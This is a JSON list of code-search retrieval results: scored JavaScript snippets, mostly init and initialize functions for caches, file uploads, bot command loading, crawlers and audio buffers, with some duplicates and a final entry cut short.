[ { "docid": "1df7657376c948be95b3c875848d1b91", "score": "0.72197795", "text": "async _init() {}", "title": "" }, { "docid": "c76c7b08b69e87c0d3f09c958a107275", "score": "0.711666", "text": "async init() {}", "title": "" }, { "docid": "c76c7b08b69e87c0d3f09c958a107275", "score": "0.711666", "text": "async init() {}", "title": "" }, { "docid": "fcad7080b2db38d46ddf757553ad4aa5", "score": "0.7041345", "text": "async init() {\n try {\n const cacheFile = await fs.readFile(this.path);\n this.data = JSON.parse(cacheFile);\n } catch (err) {\n console.log('No valid cache file');\n }\n }", "title": "" }, { "docid": "f872c0d7ebe0c6977472f1f0a4ff720d", "score": "0.6856498", "text": "async _init() {\n\t\t// Override me!\n\t}", "title": "" }, { "docid": "401eb80eb578cad66398ca3b945ac4da", "score": "0.6660618", "text": "async init() {\n try {\n // authorize flow account\n this._flowAcc = new FlowAccount();\n await this._flowAcc.authorize(\n this._flowAccCredentail.clientId,\n this._flowAccCredentail.clientSecret,\n this._flowAccCredentail.grantType,\n this._flowAccCredentail.scope\n );\n\n // load product map\n this._productMap = new ProductMap();\n await this._productMap.readProduct(this._productFile.fileName, this._productFile.sheetName);\n } catch(error) {\n throw error;\n }\n }", "title": "" }, { "docid": "cc5f6e22b2e06a0f214f291c1aa8c4ad", "score": "0.66396326", "text": "async init() {\n // only ever call _init once\n await reusePromiseForever(this, this._init);\n }", "title": "" }, { "docid": "e9ee8f51acb617ae6645393f8f771f04", "score": "0.6633921", "text": "function initialize() {\n // Blocks and upload bar\n uploadLinkBlock = d.getElementById('uploadButton');\n uploadProgressBlock = d.getElementById('uploadIndicator');\n uploadBar = d.getElementById('bar');\n\n // Click to select a file\n var uploadLink = d.querySelector('.upload-link a');\n uploadLink.addEventListener('click', promptForFile);\n\n // Upload file immediately after select by user\n fileSource = d.getElementById('uploadSource');\n fileSource.addEventListener('change', uploadFile);\n\n // Request file list from server\n fetchFileList();\n }", "title": "" }, { "docid": "ae3bd182b3aa4d21c98121c7d25b95b2", "score": "0.6591342", "text": "init() {\n // Base storage folder\n let storageFolder = this.config.props.storageFolder\n this.repoFile = path.join(storageFolder, 'Comptes.json')\n this.payeeFinderConfFile = path.join(storageFolder, 'PayeeFinder.json')\n // Let's read the storage files\n this.repo = jsonfile.readFileSync(this.repoFile, 'UTF-8')\n this.payeeFinderConf = jsonfile.readFileSync(this.payeeFinderConfFile, 'UTF-8')\n }", "title": "" }, { "docid": "4141c7ea3a18fb11536e5210851ff343", "score": "0.6555179", "text": "function Init(cb){\n // cb will be called, after all files are loaded\n finished = _.after(Object.keys(files).length, () => {\n if(crashFlag){\n console.error(\"Filesystem failed initializing!\");\n console.log(errorArray);\n //TODO Properly handle errors, with error page, etc\n return;\n }\n cb();\n });\n fs.readFile('./JSON/tools.json',(err, data) => setParseData(\"toolsJSON\", err, data));\n}", "title": "" }, { "docid": "c653745df87957be9177ced71cba1928", "score": "0.6530032", "text": "static init() {\n Cache.fileManager = FileManager.local()\n Cache.dataCacheFilePath = Cache.fileManager.joinPath(Cache.fileManager.documentsDirectory(), CONFIG.data_cache_filename)\n Cache.locationCacheFilePath = Cache.fileManager.joinPath(Cache.fileManager.documentsDirectory(), CONFIG.location_cache_filename)\n Cache.vaccinationImageFilePath = Cache.fileManager.joinPath(Cache.fileManager.documentsDirectory(), CONFIG.vaccination_image_filename)\n }", "title": "" }, { "docid": "0231c13521f0d7c5c8fac9fd4158ae91", "score": "0.65114236", "text": "function initFilesInfo() {\n //find out what kind of content we should be looking at.\n new Ajax.Request(\"Files\", {\n parameters: {\n requestingMethod: \"FilesInfo.initFilesInfo\",\n datasetId: dataset,\n ajaxRequest: \"true\",\n files_request: \"content\",\n files_content: \"initialize\"\n },\n onComplete: determineContent,\n onException: function (request, exception) {\n throw(exception);\n }\n });\n}", "title": "" }, { "docid": "18f7d86e0dbc32a040bd73740a14384c", "score": "0.65111405", "text": "_initialize() {\n let values;\n if (undefined !== valuesCache[this._file]) {\n values = valuesCache[this._file];\n } else if (! is_file(this._file)) {\n this._keys = {};\n this._values = {};\n\n return;\n } else {\n values = valuesCache[this._file] = (require(this._file)) || [ {}, {} ];\n }\n\n if (2 !== values.length || undefined === values[0] || undefined === values[1]) {\n this._keys = {};\n this._values = {};\n } else {\n [ this._keys, this._values ] = values;\n }\n }", "title": "" }, { "docid": "2d7e6fe21c66215c2764af718a469a3e", "score": "0.6500232", "text": "init() {\n this.fileUpload = this.el;\n\n if (this._prepareUploadedFilesList() === false) {\n return;\n }\n\n this.stepByStepElement = DomAccess.querySelector(\n document,\n '*[data-swag-customized-product-step-by-step=\"true\"]',\n false\n );\n\n this.dropzone = DomAccess.querySelector(\n this.fileUpload,\n this.options.selectors.dropzonePrefix + this.options.optionId\n );\n this.input = DomAccess.querySelector(\n this.dropzone,\n this.options.selectors.inputPrefix + this.options.optionId\n );\n this.browseButton = DomAccess.querySelector(\n this.dropzone,\n this.options.selectors.browseButtonPrefix + this.options.optionId\n );\n this.buyForm = DomAccess.querySelector(document, this.options.selectors.buyForm);\n\n this.iconSuccess = DomAccess.querySelector(this.fileUpload, this.options.selectors.iconSuccess).innerHTML;\n this.iconError = DomAccess.querySelector(this.fileUpload, this.options.selectors.iconError).innerHTML;\n\n this.httpClient = new StoreApiClient();\n this.registry = new Map();\n this._registerEventListeners();\n }", "title": "" }, { "docid": "df7e5e1ffd2ce39beb85ebe73391accf", "score": "0.64978516", "text": "function initialize() {\n fileUpload.getQueues()\n .success(function (data) {\n //if there are uploads, cycle through them and add them\n if (data.uploads) {\n for (var x = data.uploads.length - 1; x >= 0; x--) {\n $scope.fileUploads[data.uploads[x].fileId] = data.uploads[x];\n watchFileProcess(data.uploads[x].fileId);\n }\n }\n });\n }", "title": "" }, { "docid": "18ec4ca78fd6d58ee4ca820bcf4dbd87", "score": "0.6490547", "text": "async init(file) {\n /**\n * Initialize an imageProcessor object. Must be called after the\n * constructor to pass a file path to the object.\n * \n * @param {string} file \n * The image file path. Supported types are .jpg and .png.\n */\n\t\tthis.file = file\n\n //get pixel data from the image\n let promise = this._getPixelData()\n this.pixel_data = await promise \n }", "title": "" }, { "docid": "c0cb60e0a6c11980a467923ff9a3f9aa", "score": "0.64003116", "text": "static initialize(obj, file) { \n obj['file'] = file;\n }", "title": "" }, { "docid": "762d6605705cfb9af8e323b06ac6d39c", "score": "0.6386099", "text": "constructor() { \n \n CommitFiles.initialize(this);\n }", "title": "" }, { "docid": "63690289980ed245175f60f1eb7d81ef", "score": "0.6380062", "text": "async init() {\n await fs.ensureDir(this.baseDir);\n const schema = await fs.readJSON(this.schemaPath)\n .catch(() => fs.outputJSONAtomic(this.schemaPath, this._schema).then(() => this._schema));\n await this.validateSchema(schema);\n await this.gateway.init(this.schema);\n }", "title": "" }, { "docid": "3072a9e88a86e641ca71353bbe86fb78", "score": "0.6354692", "text": "async init() {\n return;\n }", "title": "" }, { "docid": "2c948f7d727a6a19ade77c7591ce1f92", "score": "0.63531566", "text": "constructor() {\n super();\n this.files = [];\n }", "title": "" }, { "docid": "36a79635209914288488a406c6b2cd76", "score": "0.6344583", "text": "async initialized() {\n await this._init;\n }", "title": "" }, { "docid": "facf79ee9dbb3521621dee314839f4f1", "score": "0.62976515", "text": "async init() {\n return await this._init();\n }", "title": "" }, { "docid": "facf79ee9dbb3521621dee314839f4f1", "score": "0.62976515", "text": "async init() {\n return await this._init();\n }", "title": "" }, { "docid": "d772d2daf5499cc7c12e65e488486341", "score": "0.62948483", "text": "function initFileSystem() {\t\r\n console.log(\"initing the filesystem..\");\r\n regular_fileSystemInit();\r\n}", "title": "" }, { "docid": "463e12e416bf9702cd563459c78ec2e0", "score": "0.6262829", "text": "async initializing() {\n\n }", "title": "" }, { "docid": "6594d0819d8ec61737043c0d0243ba10", "score": "0.62510747", "text": "async init() {\n await _initLastTree();\n }", "title": "" }, { "docid": "ad299a19f6d2a690f2d58d4beb5925dd", "score": "0.6222895", "text": "async init(){\n try{\n this.storage = new Storage();\n this.preprocCache = new Cache();\n this.configurator = new Configurator();\n const query = this.updatePeriodically.bind(this);\n this.updateTimerId = this.createTimer({period: this.configurator.getUpdatePeriod(), query, firstDelay: 0.5});\n this.zbxPreproc = new ZabbixPreprocessor();\n }catch(e){\n debug.error(\"Error on init: \"+e.message,e);\n }\n }", "title": "" }, { "docid": "374ee317badf50bb7bfb8ee4d5297c8a", "score": "0.62224084", "text": "function init() {\n\n // initAsyncReport.init();\n\n routerSvr.init();\n\n // initService();\n\n // initLib();\n\n // initAsyncDocs();\n\n}", "title": "" }, { "docid": "a7ca2b319521eff375a7f826af64af6c", "score": "0.6215061", "text": "function init(){\n _setupUIListener();\n _fetchCsvData();\n }", "title": "" }, { "docid": "2cb0f63d836cb941b4b987c96717efe1", "score": "0.6211329", "text": "function InitFile()\n{\n\tBE_InitFile_faker();\n\tSortFiles();\n}", "title": "" }, { "docid": "0ad6398979ec6830e12b3d6b583857d6", "score": "0.6205062", "text": "function init() {\n\t//create file if it's present.\n\tif (!fs.existsSync(TASK_JSON_PATH)) {\n\t\tconsole.log(\"Initialising storage.\\n Creating `.database.json` file\");\n\t\tsetData({\n\t\t\tuncompleted: [],\n\t\t\tcompleted: []\n\t\t});\n\t}\n\n}", "title": "" }, { "docid": "668f3da957d8c1c7eb8189e3ec646b1c", "score": "0.6203885", "text": "async init() {\n\n // Log a separator\n await this.logger.log(\"separator\");\n\n // Load all commands\n const cmdFile = await readdir(\"./commands/\");\n cmdFile.forEach(async (dir) => {\n const commands = await readdir(\"./commands/\" + dir + \"/\");\n commands.filter((cmd) => cmd.split(\".\").pop() === \"js\").forEach((cmd) => {\n this.loadCommand(\"./commands/\" + dir, cmd);\n });\n });\n\n // Load all events\n const evtFile = await readdir(\"./events/\");\n evtFile.forEach((file) => {\n const eventName = file.split(\".\")[0];\n const event = new (require(`../events/${file}`))(this);\n this.logger.log(\"event\", eventName)\n this.on(eventName, (...args) => event.run(...args));\n delete require.cache[require.resolve(`../events/${file}`)];\n }); \n\n // Log a separator\n await this.logger.log(\"separator\");\n\n // Login with discord\n this.login(this.cfg.token);\n }", "title": "" }, { "docid": "df99bc64d3dea0c424601e18f6dbd3cf", "score": "0.6191801", "text": "constructor() { \n BaseResponse.initialize(this);ListFilesResponseAllOf.initialize(this);\n ListFilesResponse.initialize(this);\n }", "title": "" }, { "docid": "2eb62983779b53df4f79de1021916da1", "score": "0.61691755", "text": "function init(){\n // Start out by writing to the destination file to start with an empty file\n fs.writeFile(STORAGE_FILE, '', function(err){\n if(err){\n return console.log(err);\n } else {\n console.log('File was saved!');\n }\n });\n\n // Add the root URL to load all listings from\n addStartingPoint(options.start_url);\n\n // Get the number of pages of results\n noodle.query({\n \"url\": options.start_url,\n \"type\": \"html\",\n \"selector\": \".pagination li a\",\n \"extract\": \"html\",\n \"cache\": \"false\"\n })\n .then(function (results) {\n results = results.results[0].results;\n\n // Load all paginated listings\n for(var p=2;p<=parseInt(results[results.length-2]);p++){\n // for(var p=2;p<=3;p++){\n addStartingPoint(options.start_url + '&page=' + p);\n }\n\n console.log('There are ' + results[results.length-2] + ' paginated pages');\n });\n\n // Start the crawler processing the queue\n crawler = setInterval(processQueue, PAGE_LOAD_INTERVAL);\n }", "title": "" }, { "docid": "7dd851ec2151dcdfcd54b498af9ae1a6", "score": "0.6166385", "text": "function onInitFs(fs){\n\tfilesystem = fs;\n}", "title": "" }, { "docid": "0d35deb255c7244a08abbf37a1128e67", "score": "0.6163433", "text": "function initFileDirectory() {\n tizen.filesystem.resolve(\n WRITABLE_DIRECTORY + '/' + WRITABLE_SUBDIRECTORY,\n\n function onResolveSuccess() { // Directory exists\n listFilesFromDirectory();\n logger.log('Directory initialized earlier');\n },\n createFileDirectory,\n 'r'\n );\n }", "title": "" }, { "docid": "d547e084c606610a56df02ab16a4d007", "score": "0.615447", "text": "function initialization() {}", "title": "" }, { "docid": "34e75a3186428e0bc002200a91285f1a", "score": "0.6142036", "text": "init() {\n\t\t if(this.initiated) {\n\t\t\treturn Promise.resolve(this.dirEntry);\n\t }\n\n\t\tlet executor = (resolve, reject) => {\n\t\t\tthis.filer.init({persistent: false, size: 1024 * 1024},\n\t\t\t\t(fs) => {\n\t\t\t\t\tthis.createDirectory().then(\n\t\t\t\t\t\t(dirEntry) => {\n\t\t\t\t\t\t\tthis.initiated = true;\n\t\t\t\t\t\t\tthis.dirEntry = dirEntry;\n\t\t\t\t\t\t\tresolve(dirEntry);\n\t\t\t\t\t\t}\n\t\t\t\t\t);\n\t\t\t\t},(e) => {\n\t\t\t\t\tthis.onError(e);\n\t\t\t\t\treject(e.name)\n\t\t\t\t});\n\t\t};\n\n\t\treturn new Promise(executor);\n\t}", "title": "" }, { "docid": "3fe3c3e997df2d018500b25af51a8f15", "score": "0.61305004", "text": "async init() {\n throw new Error('Not Implemented');\n }", "title": "" }, { "docid": "a5e95ea41715c9fd11da7966727c040e", "score": "0.61279243", "text": "function initializer() {\n\t// xhr.loadFoodItems(data.whenFoodItemsLoad, data.errorFunction);\n\txhr.loadFoodItems();\n}", "title": "" }, { "docid": "e42a076294ad8dcfec862d3eb0c98458", "score": "0.61123735", "text": "init() {\n\t\t\t_initialize();\n\t\t}", "title": "" }, { "docid": "c0b150c2df422642ec32e2400fe817cc", "score": "0.60964596", "text": "async initialize() {\n const bufferList = this.config.hrirPathList\n ? new BufferList(this.context, this.config.hrirPathList, { dataType: BufferDataType.URL })\n : new BufferList(this.context, FOAHrirBase64, { dataType: BufferDataType.BASE64 });\n try {\n const hrirBufferList = await bufferList.load();\n this.convolver.setHRIRBufferList(hrirBufferList);\n this.setRenderingMode(this.config.renderingMode);\n }\n catch (exp) {\n const errorMessage = `FOARenderer: HRIR loading/decoding (mode: ${this.config.renderingMode}) failed. Reason: ${exp.message}`;\n throw new Error(errorMessage);\n }\n }", "title": "" }, { "docid": "c0b150c2df422642ec32e2400fe817cc", "score": "0.60964596", "text": "async initialize() {\n const bufferList = this.config.hrirPathList\n ? new BufferList(this.context, this.config.hrirPathList, { dataType: BufferDataType.URL })\n : new BufferList(this.context, FOAHrirBase64, { dataType: BufferDataType.BASE64 });\n try {\n const hrirBufferList = await bufferList.load();\n this.convolver.setHRIRBufferList(hrirBufferList);\n this.setRenderingMode(this.config.renderingMode);\n }\n catch (exp) {\n const errorMessage = `FOARenderer: HRIR loading/decoding (mode: ${this.config.renderingMode}) failed. Reason: ${exp.message}`;\n throw new Error(errorMessage);\n }\n }", "title": "" }, { "docid": "75b882808a93c248f963ce9fa7ac6e9a", "score": "0.6095485", "text": "async function init() {\n try {\n // get projectile status before proceeding (access to projectile server)\n projectileStatus = await projectile.projectileAlive(); // checkProjectile();\n\n if (projectileStatus) {\n // get user creds and timeular API token\n try {\n user = JSON.parse(fs.readFileSync('user.txt'));\n } catch (e) {\n winston.error('API No usercredential file seems to be available. Please run \"node userCred.js\" to create a ' +\n 'credential file.');\n // process.exit();\n }\n\n if (!projectileOnly) {\n try {\n token = JSON.parse(fs.readFileSync('timeularToken.txt'));\n } catch (e) {\n winston.error('API No token file seems to be available. Please run \"node getTimularToken.js\" to create a ' +\n 'token file.');\n // process.exit();\n }\n }\n // get cookie, employee and jobList\n if ((!projectileOnly && token && user) || (projectileOnly && user)) {\n // TODO not neccessary, initializing just copies\n // await projectile.initializeUser(user);\n await projectile.initializeUser(user);\n if (!projectileOnly) {\n await timeularapi.initializeToken(token);\n }\n\n cookie = await projectile.login();\n employee = await projectile.getEmployee(cookie);\n jobList = await projectile.jobList(cookie, employee);\n credsPresent = true;\n\n // get config from config.json\n /*\n try {\n config = JSON.parse(fs.readFileSync('config.json'));\n winston.debug('Successfully read config.json.');\n winston.silly('config.json: ' + JSON.stringify( config, null, 2 ));\n } catch (e) {\n winston.warn('init() -> Failed to read config.json configurationfile on startup. Corrupted or non ' +\n 'existent.', e);\n }\n */\n // run cyclicPackageSync first time\n if (!projectileOnly) {\n cyclicPackageSync();\n }\n } else {\n winston.warn('Initialization failed. token and/or user missing.');\n }\n } else { // end of if (projectileStatus) {\n winston.warn('init -> Projectile server seems to be unreachable. Establishing continuous checking for when ' +\n 'he\\'s reachable again. Every:', defaultProjectileAliveInterval / 1000, 's');\n setTimeout(init, defaultProjectileAliveInterval || 10000);\n }\n } catch (e) {\n winston.error('Initialization failed. ', e);\n }\n}", "title": "" }, { "docid": "e360dca23cbe3b565c6e76121f731765", "score": "0.60699564", "text": "_initialize(userCb) {\n const callbacks = this._initializeCallbacks;\n const end = (e) => {\n this._isInitialized = !e;\n this._initializeCallbacks = [];\n callbacks.forEach((cb) => cb(e));\n };\n if (!this._isInitialized) {\n // First call triggers initialization, the rest wait.\n if (callbacks.push(userCb) === 1) {\n const copyDirectory = (p, mode, cb) => {\n if (p !== '/') {\n this._sync.mkdirSync(p, mode);\n }\n this._async.readdir(p, (err, files) => {\n let i = 0;\n // NOTE: This function must not be in a lexically nested statement,\n // such as an if or while statement. Safari refuses to run the\n // script since it is undefined behavior.\n function copyNextFile(err) {\n if (err) {\n cb(err);\n }\n else if (i < files.length) {\n copyItem(path.join(p, files[i]), copyNextFile);\n i++;\n }\n else {\n cb();\n }\n }\n if (err) {\n cb(err);\n }\n else {\n copyNextFile();\n }\n });\n }, copyFile = (p, mode, cb) => {\n this._async.readFile(p, null, FileFlag.getFileFlag('r'), (err, data) => {\n if (err) {\n cb(err);\n }\n else {\n try {\n this._sync.writeFileSync(p, data, null, FileFlag.getFileFlag('w'), mode);\n }\n catch (e) {\n err = e;\n }\n finally {\n cb(err);\n }\n }\n });\n }, copyItem = (p, cb) => {\n this._async.stat(p, false, (err, stats) => {\n if (err) {\n cb(err);\n }\n else if (stats.isDirectory()) {\n copyDirectory(p, stats.mode, cb);\n }\n else {\n copyFile(p, stats.mode, cb);\n }\n });\n };\n copyDirectory('/', 0, end);\n }\n }\n else {\n userCb();\n }\n }", "title": "" }, { "docid": "7ac371298c719efde7d61f390284f3f6", "score": "0.6055094", "text": "_init() {\n this.info.total = Array(\n this.config.downloadEnd - this.config.downloadStart + 1\n )\n .fill(0)\n .reduce((sum, v, index) => sum + Math.pow(4, index), 0);\n\n this.gInstant = this._taskGenerator(this.resume);\n }", "title": "" }, { "docid": "295c85e5d5d998d3870a18a81ce0d65c", "score": "0.6036406", "text": "static initialize() {\n this.clearCache();\n\n const param = DKToolsParam.get('Preload Manager');\n\n /**\n * @private\n * @readonly\n * @type {Boolean}\n */\n this._enabled = param['Enabled'];\n\n if (!this.isEnabled()) {\n return;\n }\n\n _.forEach(param['Audio Files'], data => {\n this.preloadAudio({\n path: data.Path,\n caching: data.Caching\n });\n });\n\n _.forEach(param['Image Files'], data => {\n this.preloadImage({\n path: data.Path,\n hue: data.Hue,\n caching: data.Caching\n });\n });\n\n this.start();\n }", "title": "" }, { "docid": "b03162328b5414ab26548672c065dc47", "score": "0.6034957", "text": "async initialized() {\n await Promise.all(this.map(x => x._init));\n }", "title": "" }, { "docid": "634970a626398f8d4ff2e47135965515", "score": "0.60321736", "text": "static async initialize() {\n\n /**\n * @private\n * @readonly\n * @type {String}\n */\n this._locale = '';\n\n /**\n * @private\n * @readonly\n * @type {Object}\n */\n this._languages = {};\n\n await this._initializeLanguages();\n await this._initializeLocale();\n await this._initializeDecrypterIgnoreList();\n await this._checkData();\n await this.clearCache();\n await this.loadData();\n await this.loadFont();\n await this.updateLoadingImage();\n\n /**\n * @private\n * @readonly\n * @type {Boolean}\n */\n this._isReady = true;\n }", "title": "" }, { "docid": "8868686e52746919bb41c7386dba74e2", "score": "0.6018538", "text": "function initialize() {\n makeData();\n updateDateTime();\n initImages();\n cycleImages();\n }", "title": "" }, { "docid": "cbfcbcfcfdeee301d01b57529b398f96", "score": "0.60130376", "text": "async init() {\n // start the socket connections etc\n await this.api.init();\n }", "title": "" }, { "docid": "6a2661a68ed84bf7a768f9e034c7337e", "score": "0.600201", "text": "function init () {\n var files = [\n {name: 'a', fileName: 'lamento.ogg', type: 'audio'},\n {name: 'v', fileName: 'dancasindigenas.mp4', type: 'video'},\n ];\n\n for (file in files) {\n // create a dict to each voice\n voices[files[file].name] = {sig: files[file].fileName, \n sigType: files[file].type};\n if (files[file].type === 'audio') {\n loadAudioFile(files[file].name);\n } else if (files[file].type === 'video') {\n loadVideoFile(files[file].name);\n }\n }\n}", "title": "" }, { "docid": "14e358a3ead55780b0c34580ea6daef2", "score": "0.60017747", "text": "function runInit() {\n if (s.isReady()) {\n init();\n } else {\n e.listen('core.storage.idb.open', init);\n }\n }", "title": "" }, { "docid": "0f5c94f426c2dbb98051e91cfa673365", "score": "0.600116", "text": "_init() {\n const { commands, listeners } = this.init();\n commands && this.commandLoader.loadAll(commands);\n listeners && this.listenerLoader.loadAll(listeners);\n }", "title": "" }, { "docid": "af7f16396ba13f1e4709279d27c8471e", "score": "0.5997068", "text": "setup() {\n return new Promise((resolve, reject) => {\n this.stream = fs.createWriteStream(this.fileName)\n this.stream.on('ready', resolve)\n this.stream.on('error', reject)\n this.stream.on('error', err => {\n throw err\n })\n })\n }", "title": "" }, { "docid": "3105065fcf9959ae8bc0ba56093a8ef3", "score": "0.5992724", "text": "init() {\n return Promise.resolve(this._init());\n }", "title": "" }, { "docid": "3105065fcf9959ae8bc0ba56093a8ef3", "score": "0.5992724", "text": "init() {\n return Promise.resolve(this._init());\n }", "title": "" }, { "docid": "1db8906b0823fe83bdc23509fcccae54", "score": "0.5982828", "text": "async initialize() {\n let bufferList;\n if (this.config.hrirPathList) {\n bufferList =\n new BufferList(this.context, this.config.hrirPathList, { dataType: BufferDataType.URL });\n }\n else {\n bufferList = this.config.ambisonicOrder === 2\n ? new BufferList(this.context, SOAHrirBase64)\n : new BufferList(this.context, TOAHrirBase64);\n }\n try {\n const hrirBufferList = await bufferList.load();\n this.convolver.setHRIRBufferList(hrirBufferList);\n this.setRenderingMode(this.config.renderingMode);\n }\n catch (exp) {\n const errorMessage = `HOARenderer: HRIR loading/decoding (mode: ${this.config.renderingMode}) failed. Reason: ${exp.message}`;\n throw new Error(errorMessage);\n }\n }", "title": "" }, { "docid": "1db8906b0823fe83bdc23509fcccae54", "score": "0.5982828", "text": "async initialize() {\n let bufferList;\n if (this.config.hrirPathList) {\n bufferList =\n new BufferList(this.context, this.config.hrirPathList, { dataType: BufferDataType.URL });\n }\n else {\n bufferList = this.config.ambisonicOrder === 2\n ? new BufferList(this.context, SOAHrirBase64)\n : new BufferList(this.context, TOAHrirBase64);\n }\n try {\n const hrirBufferList = await bufferList.load();\n this.convolver.setHRIRBufferList(hrirBufferList);\n this.setRenderingMode(this.config.renderingMode);\n }\n catch (exp) {\n const errorMessage = `HOARenderer: HRIR loading/decoding (mode: ${this.config.renderingMode}) failed. Reason: ${exp.message}`;\n throw new Error(errorMessage);\n }\n }", "title": "" }, { "docid": "259eac516c2baae426ad4db93fe18ca9", "score": "0.597881", "text": "init() {\n retrieve();\n }", "title": "" }, { "docid": "5674f28d57d6ba06a61c945c1193c866", "score": "0.5977184", "text": "constructor(filePath) {\n this.filePath = filePath;\n\n\n // TODO: Any other initialization that you need.\n }", "title": "" }, { "docid": "1ff3e44317691f074fed56f97685e089", "score": "0.59726685", "text": "handleInit() {\n console.log(\"FilePond instance has initialised\", this.pond);\n }", "title": "" }, { "docid": "b663b054770d5ee912830f2eb49d6a93", "score": "0.5968799", "text": "setUploadedFile(file) {\n return __awaiter(this, void 0, void 0, function* () {\n const tempFileName = yield Storage_1.Storage.saveTemporaryFile(file.filename, file.file);\n const fileInstance = new UploadedFile_1.UploadedFile(file, tempFileName);\n yield fileInstance.setAdditionalInformation();\n this._uploadedFiles.push(fileInstance);\n });\n }", "title": "" }, { "docid": "84233a0471ad1fe0ab1492cb3b709a49", "score": "0.59673584", "text": "initData() {\n this.set('loading', true);\n this.set('loadError', false);\n this.set('loadingMessage', 'Preparing Files');\n\n // this.set('allSelectedItems', A());\n this.set('folders', A());\n this.set('files', A());\n this.set('currentFolder', null);\n this.set('rootFolderId', null);\n\n return this.requeryDatasets();\n }", "title": "" }, { "docid": "d14d99355d07bf0e2e275182b53a7384", "score": "0.5963947", "text": "_init (cb) {\n if (!cb) cb = (err) => { if (err) throw err }\n this._setupChildContext((err, context) => {\n if (err) return cb(err)\n this._initContext(context, (err, context) => {\n if (err) return cb(err)\n this._loadArchive(this.props.archiveId, context, (err, archive) => {\n if (err) return cb(err)\n this._initArchive(archive, context, (err, archive) => {\n if (err) return cb(err)\n this._childContext = context\n this.setState({ archive })\n this._afterInit()\n this.emit('archive:ready')\n })\n })\n })\n })\n }", "title": "" }, { "docid": "b7d82a456e4a0e3f1fbf9468f3e50505", "score": "0.5963478", "text": "async init() {\n /** Data taken from Storage API */\n this.model.products = await this.model.fetchProducts(); // Fetch return promise - async code, use .then() for alternate\n this.showProducts(this.model.products);\n\n /** Data taken from Storage API */\n this.model.rates = await this.model.fetchRates(); // Fetch return promise await for result\n this.showRates(this.model.rates);\n }", "title": "" }, { "docid": "4213fce23ce5b47c64fb6e401758bed2", "score": "0.59480023", "text": "function init() {}", "title": "" }, { "docid": "4213fce23ce5b47c64fb6e401758bed2", "score": "0.59480023", "text": "function init() {}", "title": "" }, { "docid": "4213fce23ce5b47c64fb6e401758bed2", "score": "0.59480023", "text": "function init() {}", "title": "" }, { "docid": "4213fce23ce5b47c64fb6e401758bed2", "score": "0.59480023", "text": "function init() {}", "title": "" }, { "docid": "4213fce23ce5b47c64fb6e401758bed2", "score": "0.59480023", "text": "function init() {}", "title": "" }, { "docid": "4213fce23ce5b47c64fb6e401758bed2", "score": "0.59480023", "text": "function init() {}", "title": "" }, { "docid": "4213fce23ce5b47c64fb6e401758bed2", "score": "0.59480023", "text": "function init() {}", "title": "" }, { "docid": "4213fce23ce5b47c64fb6e401758bed2", "score": "0.59480023", "text": "function init() {}", "title": "" }, { "docid": "4213fce23ce5b47c64fb6e401758bed2", "score": "0.59480023", "text": "function init() {}", "title": "" }, { "docid": "4213fce23ce5b47c64fb6e401758bed2", "score": "0.59480023", "text": "function init() {}", "title": "" }, { "docid": "4213fce23ce5b47c64fb6e401758bed2", "score": "0.59480023", "text": "function init() {}", "title": "" }, { "docid": "4213fce23ce5b47c64fb6e401758bed2", "score": "0.59480023", "text": "function init() {}", "title": "" }, { "docid": "4213fce23ce5b47c64fb6e401758bed2", "score": "0.59480023", "text": "function init() {}", "title": "" }, { "docid": "4213fce23ce5b47c64fb6e401758bed2", "score": "0.59480023", "text": "function init() {}", "title": "" }, { "docid": "4213fce23ce5b47c64fb6e401758bed2", "score": "0.59480023", "text": "function init() {}", "title": "" }, { "docid": "4213fce23ce5b47c64fb6e401758bed2", "score": "0.59480023", "text": "function init() {}", "title": "" }, { "docid": "4213fce23ce5b47c64fb6e401758bed2", "score": "0.59480023", "text": "function init() {}", "title": "" }, { "docid": "4213fce23ce5b47c64fb6e401758bed2", "score": "0.59480023", "text": "function init() {}", "title": "" }, { "docid": "4213fce23ce5b47c64fb6e401758bed2", "score": "0.59480023", "text": "function init() {}", "title": "" }, { "docid": "4213fce23ce5b47c64fb6e401758bed2", "score": "0.59480023", "text": "function init() {}", "title": "" }, { "docid": "4213fce23ce5b47c64fb6e401758bed2", "score": "0.59480023", "text": "function init() {}", "title": "" }, { "docid": "287787dd3156fe92ac4622080ba46eed", "score": "0.5938097", "text": "initialize(){ /** todo */ }", "title": "" }, { "docid": "d0221c4fce6c045a5f083aa5758ad544", "score": "0.5909641", "text": "function initUpload() {\n console.log(`\\tInitializing...`);\n return makePost(endpoints.mediaUpload, {\n command: 'INIT',\n total_bytes: mediaSize,\n media_type: mediaType,\n }).then(data => data.media_id_string);\n }", "title": "" }, { "docid": "b2eaa633b604c07275da9c6e8c6951e1", "score": "0.59079844", "text": "async init( callback ) {\n throw \"implement me!\";\n }", "title": "" }, { "docid": "1af75a80fb31986295efa40fb0908922", "score": "0.58971655", "text": "constructor() {\n super()\n let files\n this.fetchAvailableFiles()\n .then(availableFiles => {\n files = availableFiles\n return Promise.all(availableFiles.map(this.fetchFileContent))\n })\n .then(filesWithContent =>\n Promise.all(filesWithContent.map(file => this.csvToHighCharts(file.rawContent))),\n )\n .then(dataPerFile =>\n this.setState({\n filesRequestStatus: 'SUCCESS',\n files: files.map((file, i) => ({ ...file, data: dataPerFile[i] })),\n }),\n )\n .catch(e =>\n this.setState({\n filesRequestStatus: 'ERROR',\n filesRequestError: e,\n }),\n )\n }", "title": "" }, { "docid": "da16e95838b102391b7129f4e5eccc58", "score": "0.5874524", "text": "GitFileLoader() {}", "title": "" }, { "docid": "ad1fd7f3441fba1998db3273954cbfab", "score": "0.58734703", "text": "constructor(){\n\t\tthis.objUrls = [];//Paths to model geometry file, in Wavefront OBJ format.\n\t\tthis.mtlUrls = [];//Paths to model materials file, in Wavefront MTL format.\n\t\tthis.objects = [];//objects[i] is result of loader.load(objUrl[i], mtlUrl[i])\n\t\tthis.error = null;//String indicating loading error with at least one file.\n\t\tthis.objectsLoaded = 0;//Used internally to determine when loading complete.\n\t}", "title": "" }, { "docid": "d64594040bfc449abfae6da505d75dbb", "score": "0.5871862", "text": "function initializeRemoteFilesResolution() {\n const func = 'initializeRemoteFilesResolution'; OUT.debug(func);\n clearRemoteFileSelection();\n setupRemoteFilePrompt();\n }", "title": "" }, { "docid": "23b7869f8e154116749e0c6de6ea066a", "score": "0.58644253", "text": "init() {\n\t\tconst path = this.getCommandsFilePath();\n\t\ttry {\n\t\t\tif (path !== \"\") {\n\t\t\t\tthis.commandsFileContents = fs.readFileSync(path, \"utf8\");\n\t\t\t} else {\n\t\t\t\tthis.commandsFileContents = \"\";\n\t\t\t}\n\t\t} catch (ex) {\n\t\t\tconsole.error(ex);\n\t\t\tthis.commandsFileContents = 